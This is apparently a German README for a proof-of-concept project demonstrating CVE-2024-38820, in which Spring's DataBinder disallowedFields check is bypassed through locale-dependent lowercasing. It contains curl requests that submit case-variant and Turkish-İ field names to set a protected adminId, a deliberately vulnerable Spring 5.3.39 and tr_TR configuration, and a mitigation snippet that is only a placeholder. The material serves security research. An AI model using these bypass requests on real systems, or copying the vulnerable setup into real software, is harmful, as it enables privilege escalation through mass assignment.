
Dieses Projekt demonstriert CVE-2024-38820, eine Schwachstelle im DataBinder des Spring Frameworks, die es ermöglicht, den disallowedFields-Schutz aufgrund von localespezifischen Problemen bei der Groß-/Kleinschreibungskonvertierung zu umgehen.
String.toLowerCase() variiert je nach LocaleDer Fix für CVE-2022-22968 machte die disallowedFields-Muster durch die Verwendung von String.toLowerCase() case-insensitiv. Diese Methode weist jedoch localespezifische Ausnahmen auf:
"ADMINID".toLowerCase() wird zu "adminıd" (mit punktlosem ı)"ADMINID".toLowerCase() wird zu "adminid"Dieser Unterschied kann es Angreifern ermöglichen, den Feldschutz durch bestimmte Groß-/Kleinschreibungsvarianten zu umgehen.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
Die Anwendung startet unter http://localhost:8081
Rufen Sie den Test-Endpunkt auf, um die Locale-Informationen zu sehen:
http://localhost:8081/test
Probieren Sie verschiedene Feldnamenvarianten aus:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
Führen Sie das umfassende Testskript aus:
./test-cve-2024-38820.sh
adminId=999 → BLOCKIERT (normale Groß-/Kleinschreibung)ADMINID=999 → UMGANGEN (Großbuchstaben)AdminId=999 → UMGANGEN (gemischte Groß-/Kleinschreibung)ADMİNID=999 → UMGANGEN (türkisches İ)adminId=999 → BLOCKIERT (normale Groß-/Kleinschreibung)ADMINID=999 → BLOCKIERT (geschützt)AdminId=999 → BLOCKIERT (geschützt)Bearbeiten Sie src/main/resources/application.properties:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
Sie können auch die Standard-Locale der JVM festlegen:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder konfiguriert disallowedFields("adminId")toLowerCase()"ADMINID".toLowerCase() ≠ "adminid"adminId wird gesetztDie Anwendung protokolliert detaillierte Informationen:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
Verwenden Sie locale-bewussten Feldabgleich:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
Implementieren Sie eine benutzerdefinierte Feldvalidierung, die nicht von localespezifischen Operationen abhängt.
Dieses Proof of Concept dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Nutzen Sie es verantwortungsbewusst und nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.